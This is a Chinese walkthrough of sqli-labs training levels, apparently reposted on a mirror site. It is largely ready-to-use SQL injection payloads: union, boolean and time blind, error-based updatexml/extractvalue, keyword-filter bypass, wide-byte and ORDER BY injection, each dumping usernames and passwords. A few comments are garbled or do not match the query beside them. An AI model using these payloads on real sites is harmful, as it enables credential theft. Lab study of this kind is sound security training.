参考文章:详细sqli-labs(1-65)通关讲解-CSDN博客

第1关:

输入 :

?id=3

输入 :

?id=2

当输入的数字不同,页面的响应也不同,说明,输入的内容被带入到数据库里查询了

输入:

?id=2'、?id=2'++(数字+字符形式)

返回结果如下图所示:

均产生报错,说明sql语句是字符型存在sql注入漏洞

采用联合注入的方法

输入:

?id=1'order by 4 --+
?id=1'order by 3 --+

当执行?id=1'order by 3 --+ 后没有报错,说明表格有3列

输入:

?id=-1'union select 11,22,33--+
//爆出显示位,就是看看表格里面那一列是在页面显示的

结果如下图所示:

显示了22 和33,说明表格中的第二、三列数据会显示在页面

输入:

//获取当前数据的名字和版本号
?id=-1'union select 1,database(),version()--+

结果如下所示:

输入:

//从系统表 information_schema.tables 中,筛选出属于security数据库的表,即得到sercurity数据库中的内容
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

结果如下所示:

结果说明:security数据库中有 email、referers、uagents、users 4个数据库

输入:

//筛选出属于users表的列信息,即只查users表的列名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

结果如下图所示:

结果说明:
在security数据库中的users表下有 USER、CURRET_CONNECTIONS、TOTAL_CONNECTIONS、id、username、password ,共6列

输入:

//得到user表中 username 和 password 这两个字段的内容
?id=-1' union select 1,2,group_concat(username,id,id,password) from users--+

结果如下图所示:

第5关

思路:利用布尔盲注,通过构造条件语句,利用页面返回的布尔值(如页面正常显示表示条件为真,页面报错或异常表示条件为假)逐步推测数据库信息。

(1)获取当前数据库名

1.判断数据库名长度

输入:

//判断当前数据库名的长度是否大于 9
?id=1'and length((select database()))>9--+

结果如下图所示:

页面是空白,报错,说明当前数据库名字的长度大于不大于9

2.逐字符推测数据库名

输入:

//判断数据库名的第1个字符的ASCII码是否为115对应字母s)
?id=1'and ascii(substr((select database()),1,1))=115--+

结果如下图所示:

页面成功反馈,说明数据库的第一个字符确实是s

依次判定每一个字符,再通过页面的反馈,即可确认数据库的完整名字

(2)获取所有表名

1.判断所有表名的总长度

输入:

//判断所有表名的总长度--判断其拼接起来后总长度是否大于13
//information_schema.tables 存储所有表信息
//table_schema=database() 限定为当前数据库
//group_concat() 将多行结果拼接为一个字符串?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

页面成功反馈,说明数据库所有表名的总长度大于13

以此类推,将13改为其他数字,最终可判断所有表名拼接而成所形成字符串的总长度

2.逐字符推测表名

输入:

//判断所有表名拼接后的第1个字符的ASCII码是否大于97(对应字母a)
//判断所有表名拼接后的第1个字符的ASCII码是否大于127(对应字母w)
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100--+?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100--+

结果如下图所示:

这两次测试说明:所有表名拼接后,第一个字母在c和w之间,以此类推,对每一个位置的字母进行ceshi,即可得到由所有表名拼接而成的字符串的具体内容

(3)获取指定表的列名

1.判断列名总长度

输入:

//由上一步的推测能得到存在一个名为users的表
//判断表中的列名总长度--判断users表的所有列名拼接后的总长度是否大于20
//判断表中的列名总长度--判断users表的所有列名拼接后的总长度是否大于6
//information_schema.columns存储所有列信息,通过table_name='users'筛选目标表?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>6--+

结果如下图所示:

可判断所用列名的总长度超过6,但低于20,以此类推,可逐步缩小范围,最终确定列名的总长度

2.逐字符推测列名:

输入:

//判断users表的列名拼接后的第1个字符的ASCII码是否大于99
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

结果如下图所示:

同前,经过逐步缩小范围,最终可确定列名拼接形成的字符串的具体内容

(4)获取指定表的字段内容

输入:

//由上一步的推测能得到users的表中存在username字段和password字段
//判断内容总长度--判断users表中username和password字段的所有值拼接后的总长度是否大于109
//逐字符推测内容--判断users表中username和password拼接后的第1个字符的ASCII码是否大于50(对应数字2)?id=1' and length((select group_concat(username,password) from users))>109--+
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

以此类推,可逐步缩小范围,最终确定字段的详细内容

第9关

思路:第九关的特点是无论注入条件是否成立,页面都返回相同的内容,无法通过返回的内容来判断条件是否成立,因此采用时间盲注,通过响应时间是否有延迟来判断条件是否成立,例如:

以下语句:

IF(condition,sleep(5),1):如果条件condition为真,则暂停执行5秒,否则立即返回1,反映到页面上的执行效果则为:

条件为真-->延迟5秒响应

条件为假-->立即响应

在网络连接较好的情况下,可以适当上调sleep()中的参数,使得延迟响应与立即响应之间的差距拉大,更好判别

(1)测试注入点、获取数据库名

输入:

//1.验证注入点是否存在
?id=1' and if(1=1,sleep(5),1)--+
//若页面延迟5秒加载,说明SQL语句被成功执行,且数据库支持IF和SLEEP函数//2.判断数据库名字的长度--判断当前数据库名的长度是否大于9
?id=1'and if(length((select database()))>9,sleep(5),1)--+
//若延迟5秒 ,则长度 > 9。若立即响应 ,则长度≤9,然后调整比较值(如>10、=8),直到找到准确长度//3.逐字符推测数据库名
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
//判断数据库名的第1个字符是否为s(ASCII 码 115),然后遍历ASCII码范围(如>97,=115),每个字符测试一次,根据延迟判断是否命中

(2)获取所有表名

输入:

//1.判断所有表名的总长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
//判断当前数据库下所有表名拼接后的总长度是否大于13,然后调整比较值,直到找到准确长度//2.逐字符推测表名
?id=1'and if(length((select database()))>9,sleep(5),1)--+
//判断表名拼接后的第1个字符的ASCII码是否大于c(99),然后调整比较值,直到找到准确的字符

(3)获取指定表的列名

输入:

//由上一步的推测能得到存在一个名为users的表
//1.判断列名总长度
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
//判断users表的所有列名拼接后的总长度是否大于20,然后调整比较值,直到找到准确长度//2.逐字符推测列名
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
//判断表名拼接后的第1个字符的ASCII码是否大于c(99),然后调整比较值,直到找到准确的字符

(4)获取指定表的字段内容

输入:

//由上一步的推测能得到users的表中存在username字段和password字段
//1.判断内容总长度
?id=1'and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
//判断users表中username和password字段的所有值拼接后的总长度是否大于109,然后调整比较值,直到找到准确长度//2.逐字符推测内容
?id=1'and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
//判断拼接后的第1个字符的ASCII码是否大于2(50),然后调整比较值,直到找到准确的字符

第11关

思路:十一关开始post请求,参数是在表单里面,可以直接在输入框进行注入。根据前面的猜测,sql语句的大概形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型

输入:username:1

发现报错

输入username:33  ,出现如下图所示的报错, 从 near “33” and password =“LIMIT0,1” at line 1 可推测,sql语句的大致形式为: username=    、password=   

输入username:恒成立语句(如33’ or 33=33#),使用#来所有部分,注释掉sql语句后面的,使其不影响sq语句的判别

第17关:

思路:利用MySQL的UPDATEXML()函数进行报错注入攻击,这种技术通过构造非法的XPath表达式,强制数据库在错误信息中泄露敏感信息(如版本号、数据库名、表结构和数据等)

(1)获取MySQL服务器版本号

//获取MySQL服务器版本号
//version() 返回 MySQL 版本字符串(如 5.7.33)
//concat(0x5c, ..., 0x5c) 在结果前后添加反斜杠 \(0x5c 是反斜杠的十六进制编码)
//extractvalue(1, ...) 尝试从数字 1 中提取 XPath 路径,但由于路径包含非法字符(如版本号中的 .),MySQL 会抛出错误:XPATH syntax error: '\5.7.33\'错误信息中包含了版本号
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))

(2)获取当前使用的数据库名

//获取当前使用的数据库名
//同样因非法 XPath 路径触发报错:XPATH syntax error: '\security\'
1' and (extractvalue(1,concat(0x5c,database(),0x5c))) 

(3)获取当前数据库中的所有表名

//获取当前数据库中的所有表名
//information_schema.tables 是 MySQL 系统表,存储所有表的元数据
//table_schema=database() 限定为当前数据库
//group_concat(table_name) 将所有表名用逗号连接(如 users,posts,comments)
//报错信息:XPATH syntax error: '\users,posts,comments\'
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))

(4)获取特定表中的所有列名

//获取 users 表的所有列名
//information_schema.columns 存储所有列的元数据
//table_name='users' 限定为 users 表
//报错信息:XPATH syntax error: '\id,username,password,email\'
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))

(5)获取用户的密码字段值

//获取用户 admin1 的密码字段值
//内层子查询 (select password from users where username='admin1') 获取指定用户的密码
//外层子查询 select password from (...) b 确保只返回一个值(避免多行错误)
//报错信息:XPATH syntax error: '\p@ssw0rd\'
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))

(6)获取特定表中的所有用户的用户名和密码(批量提取)

//获取 users 表中所有用户的用户名和密码(批量提取)
//group_concat(username,password) 将所有用户的 username 和 password 连接为字符串(如 admin:p@ssw0rd,test:123456)
//报错信息:XPATH syntax error: '\admin:p@ssw0rd,test:123456\'
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c))

第二十四关

思路:采用二次注入,利用注册时存入数据库的恶意内容,在密码修改环节触发注入,利用 # 注释符截断 SQL 语句,绕过密码验证

(1)注册恶意用户

(2)登录恶意用户,进入密码修改界面,修改密码,执行二次注入

系统会加载恶意用户名,为后续注入做准备

(4)验证结果,登陆管理员账号

验证成功

第二十五关

思路:本关是一个基于字符型的 SQL 注入关卡,通常涉及对or、and等关键字的过滤,可通过构造特殊的URL参数进行注入(注入方式相较于之前,只需跟换关键字)

输入:

//从MySQL数据库中获取security数据库下的所有表名
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

结果如下图所示,表名注入成功:

第26关

思路:本关将逻辑运算符,注释符以及空格给过滤了,需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换

(1)获取表名

//获取security数据库中的所有表名
//'||(updatexml(...))||'0:使用 ||(逻辑或)替代被过滤的 OR 关键字
//UPDATEXML 函数故意构造错误的XPath表达式,触发报错并回显数据
//infoorrmation_schema:双写r绕过对information_schema的过滤
//group_concat(table_name):将所有表名合并为一个字符串(如 users,emails,referers)
//0x7e:十六进制表示的 ~ 符号,用于在错误信息中标记数据边界
//预期输出:错误信息中包含类似 XPATH syntax error: '~users,emails,referers~' 的内容
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0   

(2)获取字段名

//获取security数据库中users表的所有字段名
//andnd:双写and绕过对AND的过滤
//table_name='users':限定只查询users表的字段
//预期输出:错误信息中包含类似 ~id,username,password~ 的内容
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

(3)获取账户密码

//获取users表中的账户名和密码
//passwoorrd:双写r绕过对password的过滤
//group_concat(passwoorrd,username):将密码和用户名合并(如 admin123admin),未使用分隔符导致结果可能粘连
//预期输出:错误信息中包含类似 ~admin123admin,test456test~ 的内容(密码和用户名无分隔)
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0

第27关:

思路:同26关一样,本关将select和union给过滤了,通过更换大小写绕过以及重写绕过

(1)获取表名

//获取security数据库中的所有表名
//1'or(...)or'0:用or拼接子查询,使整个条件恒为真(1 OR ... OR 0)
//selselecselecttect:双写select 绕过对SELECT的过滤
//updatexml(1,concat(0x7e,...),1):构造错误的XPath表达式(含 0x7e 即 ~),触发报错并带出 group_concat(table_name) 的结果。
//预期输出:
//错误信息中包含类似 XPATH syntax error: '~users,emails,referers~' 的内容。
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0

(2)获取字段名

//获取security数据库中users表的所有字段名
//selselecselecttect:同上,绕过 SELECT 过滤。
//table_name='users':限定查询 users 表的字段。
//预期输出:错误信息中包含类似 ~id,username,password~ 的内容
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0

(3)获取账户密码

//获取账户密码
//elselecselecttect:绕过 SELECT 过滤
//group_concat(password,username):将密码和用户名合并(如 admin123admin),未使用分隔符导致结果可能粘连
//预期输出:错误信息中包含类似 ~admin123admin,test456test~ 的内容(密码和用户名无分隔)
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0

第32关

思路:利用宽字节注入绕过单引号过滤。Less-32 通常会对单引号进行转义(如'变为\'),但如果应用配置不当(如magic_quotes_gpc开启且字符集为 GBK),攻击者可通过构造宽字节绕过过滤

(1)获取当前数据库名

//获取当前数据库名
//-1%df%27:%df(即0xDF)与后续转义的\(0x5C)组合成宽字节0xDF5C,在 GBK 编码中对应字符Ý\,绕过单引号过滤,id=-1使原查询条件为假,确保UNION子句生效
//union select 1,database(),3:通过UNION合并查询,database()返回当前数据库名
//预期输出:页面显示当前数据库名(如security)
?id=-1%df%27%20union%20select%201,database(),3%20--+

(2)获取表名

//获取当前数据库中的所有表名
//group_concat(table_name):将所有表名合并为一个字符串(如users,emails,referers)。
//table_schema=database():限定查询当前数据库的表。
//预期输出:页面显示所有表名(如users,emails,referers)
id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

(3)获取特定表的字段名

//获取users表的所有字段名
//table_name=0x7573657273:0x7573657273是users的十六进制表示,绕过可能的字符串过滤。
//预期输出:页面显示users表的字段名(如id,username,password)
id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+

(4)获取账户密码

//获取users表中的账户名和密码
//group_concat(password,username):将密码和用户名合并(如admin123admin),未使用分隔符导致结果可能粘连。
//预期输出:页面显示所有账户的密码和用户名(如admin123admin,test456test)
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

第46关

思路:本关是专门针对 ORDER BY 注入和报错注入设计的关卡,可以通过构造恶意的sort参数,利用 MySQL 的UPDATEXML函数强制数据库在错误信息中泄露敏感数据(如用户名和密码)

输入:

//从users表中提取所有用户的密码和用户名
//sort=1:原 SQL 可能为ORDER BY 1,攻击者通过注入AND (...)修改查询逻辑
//and (updatexml(...)):添加恶意子查询,使原查询变为ORDER BY 1 AND (恶意代码)
//UPDATEXML 函数:
//UPDATEXML(xml_document, xpath_expr, new_value)
//参数 1:1(任意值,不影响报错)
//参数 2:concat(0x5c,(子查询),0x5c)
//0x5c:十六进制表示的反斜杠\,用于标记数据边界
//(select group_concat(password,username) from users):查询users表的密码和用户名并合并。
//参数 3:1(任意值,不影响报错)
?sort=1%20and%20(updatexml(1,concat(0x5c,(select%20group_concat(password,username)%20from%20users),0x5c),1))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/84926.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/84926.shtml
英文地址,请注明出处:http://en.pswp.cn/web/84926.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python 爬虫入门 Day 7 - 复盘 + 实战挑战日

Python 第二阶段 - 爬虫入门 🎯 本周知识回顾 网络请求与网页结构基础 HTML解析入门(使用 BeautifulSoup) 实现爬虫多页抓取与翻页逻辑 模拟登录爬虫与 Session 维持 使用 XPath 进行网页解析(lxml XPath) 反爬虫应对…

WebRTC(七):媒体能力协商

目的 在 WebRTC 中,每个浏览器或终端支持的音视频编解码器、分辨率、码率、帧率等可能不同。媒体能力协商的目的就是: 确保双方能“听得懂”对方发的媒体流;明确谁发送、谁接收、怎么发送;保障连接的互操作性和兼容性。 P2P的基…

可信启动方案设计

安全之安全(security)博客目录导读 目录 一、引言 二、关键数据(Critical Data) 三、度量槽(Measurement Slot) 四、可信启动后端 1、事件日志(Event Log) 2、离散型 TPM(Discrete TPM) 3、RSE(运行时安全引擎) 五、平台接口 平台接口的职责: 1、函数:b…

✨通义万相2.1深度解析:AI视频生成引擎FLF2V-14B全流程指南(命令行参数+模型架构+数据流)

🌟 从零详解:如何用AI模型生成视频?命令行、模型结构、数据流全解析! 本文通过一个实际案例,详细解析使用AI模型生成视频的整个流程。从命令行参数解读到模型结构,再到数据在模型间的流动,一步步…

在 TypeScript 前端中使用 Umi-Request 调用 Java 接口的完整指南

下面我将详细介绍如何在基于 TypeScript 的前端项目中使用 umi-request 调用 IntelliJ IDEA 中开发的 Java 接口,包括完整的实现方案和代码示例。 整体方案设计 一、Java 后端接口准备 1. 创建 Spring Boot 控制器 // src/main/java/com/example/demo/controller…

GO Gin Web框架面试题及参考答案

目录 Gin 与 net/http 有哪些主要区别?为什么选择 Gin? 如何使用 Gin 启动一个 HTTP 服务并设置默认路由? Gin 的默认路由和自定义路由器组是如何工作的? 如何在 Gin 中绑定请求参数(Query、Form、JSON、XML)? 如何在 Gin 中使用中间件?中间件执行顺序是怎样的? …

asp.net core Razor动态语言编程代替asp.net .aspx更高级吗?

For Each item In products<tr><td>item.Id</td><td>item.Name</td><td>item.Price.ToString("C")</td></tr>Next为什么要用<tr> ? 在Blazor的Razor语法中&#xff0c;使用<tr>是为了在VB.NET代码块中…

css语法中的选择器与属性详解:嵌套声明、集体声明、全局声明、混合选择器

嵌套声明 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>嵌套声明</title> <!-- 这里p span 的含义是p标签下面的span标签 所以有嵌套关系--><style>p span {font-weight:…

Linux 系统中,/usr/bin/ 和/bin/的区别?

在 Linux 系统中&#xff0c;/bin/ 和 /usr/bin/ 都是存放可执行程序&#xff08;命令&#xff09;的目录&#xff0c;但它们在历史定位、用途、挂载策略和系统设计上有一定区别。 ✅ 快速对比总结 项目/bin//usr/bin/全称含义binary&#xff08;核心二进制&#xff09;user b…

苍穹外卖--WebSocket、来单提醒、客户催单

WebSocket 1.介绍 WebSocket是基于TCP的一种新的网络协议。它实现了浏览器与服务器全双工通信——浏览器和服务器只需要一次握手&#xff0c;两者之间就可以创建持久性的连接&#xff0c;并进行双向数据传送。 HTTP协议和WebSocket协议对比&#xff1a; ①Http是短连接 ②W…

Linux 信号(Signal)与信号量(Semaphore)区别

特性信号 (Signal)信号量 (Semaphore)本质软件中断进程间同步机制用途通知进程发生了某个事件控制对共享资源的访问通信方向单向 (内核→进程 或 进程→进程)多进程共享数据类型整数信号编号内核维护的计数器持久性瞬时,不排队持久,直到显式释放实现层次内核实现内核或用户空…

华为OD机考-观看文艺汇演问题-区间问题(JAVA 2025B卷)

import java.util.*; /*** version Ver 1.0* date 2025/6/20* description 观看文艺汇演*/ public class WatchMovie {public static void main(String[] args) {Scanner sc new Scanner(System.in);int num Integer.parseInt(sc.nextLine());List<Movie> movies new …

DeepSeek今天喝什么随机奶茶推荐器

用DeepSeek生成了一个随机奶茶推荐器-今天喝什么&#xff0c;效果非常棒&#xff01;UI界面美观。 提示词prompt如下 用html5帮我生成一个今天喝什么的网页 点击按钮随机生成奶茶品牌等&#xff0c;要包括中国常见的知名的奶茶品牌 如果不满意还可以随机再次生成 ui界面要好看 …

【国产AI服务器】全国产PCIE5.0交换板,替代博通89104/89144,支持海光、龙芯等平台

实物图 核心硬件配置 1、控制器芯片‌ 采用国产TL63104控制芯片‌&#xff0c;支持2.5GT/s、5GT/s、8GT/s、16GT/s、32GT/s的PCIe传输速率&#xff0c;支持968Lanes。支持6个x16的group和1个x8的group&#xff0c;每个group支持1至8个端口。x16group支持x16、x8、x4、x2端口…

GPIO-LED驱动

一、LED引脚说明 寄存器地址地图&#xff1a; 原理图&#xff1a; 关于MOS管的说明&#xff1a; 总结&#xff1a;当GPIO0_B5这个引脚输出高电平的时候&#xff0c;对应的N-MOS管导通—LED点亮 当GPIO0_B5这个引脚输出低电平的时候&#xff0c;对应的N-MOS管截止---LED熄灭 二…

Gartner《Generative AI Use - Case Comparison for Legal Departments》

概述 这篇文章由 Gartner, Inc. 出品,聚焦于生成式人工智能(GenAI)在法律部门中的应用情况,通过对 16 个较为突出的 GenAI 法律技术应用场景进行分析,从商业价值和可行性两个维度进行评估,旨在为法律总顾问等提供战略对话依据,以便更好地做出技术投资决策,推动法律部门…

Vue 中 filter 过滤的语法详解与注意事项

Vue 中 filter 过滤的语法详解与注意事项 在 Vue.js 中,"过滤"通常指两种不同概念:模板过滤器(Vue 2 特性)和数组过滤(数据过滤)。由于 Vue 3 已移除模板过滤器,我将重点介绍更实用且通用的数组过滤语法和注意事项。 一、数组过滤核心语法(推荐方式) 1. …

webpack+vite前端构建工具 -6从loader本质看各种语言处理 7webpack处理html

6 从loader本质看各种语言处理 语法糖&#xff1f; 6.1 loader的本质 loader本质是一个方法&#xff0c;接收要处理的资源的内容&#xff0c;处理完毕后给出内容&#xff0c;作为打包结果。 所有的loader&#xff08;例如babel-loader, url-loader等&#xff09;export出一个方…

算法第41天|188.买卖股票的最佳时机IV、309.最佳买卖股票时机含冷冻期、714.买卖股票的最佳时机含手续费

188.买卖股票的最佳时机IV 题目 思路与解法 基于 买卖股票的最佳时机iii&#xff0c;得出的解法。关键在于&#xff0c;每一天的卖或者买都由前一天推导而来。 class Solution { public:int maxProfit(int k, vector<int>& prices) {if(prices.size() 0) return …

【AI News | 20250623】每日AI进展

AI Repos 1、tools Strands Agents Tools提供了一个强大的模型驱动方法&#xff0c;通过少量代码即可构建AI Agent。它提供了一系列即用型工具&#xff0c;弥合了大型语言模型与实际应用之间的鸿沟&#xff0c;涵盖文件操作、Shell集成、内存管理&#xff08;支持Mem0和Amazon…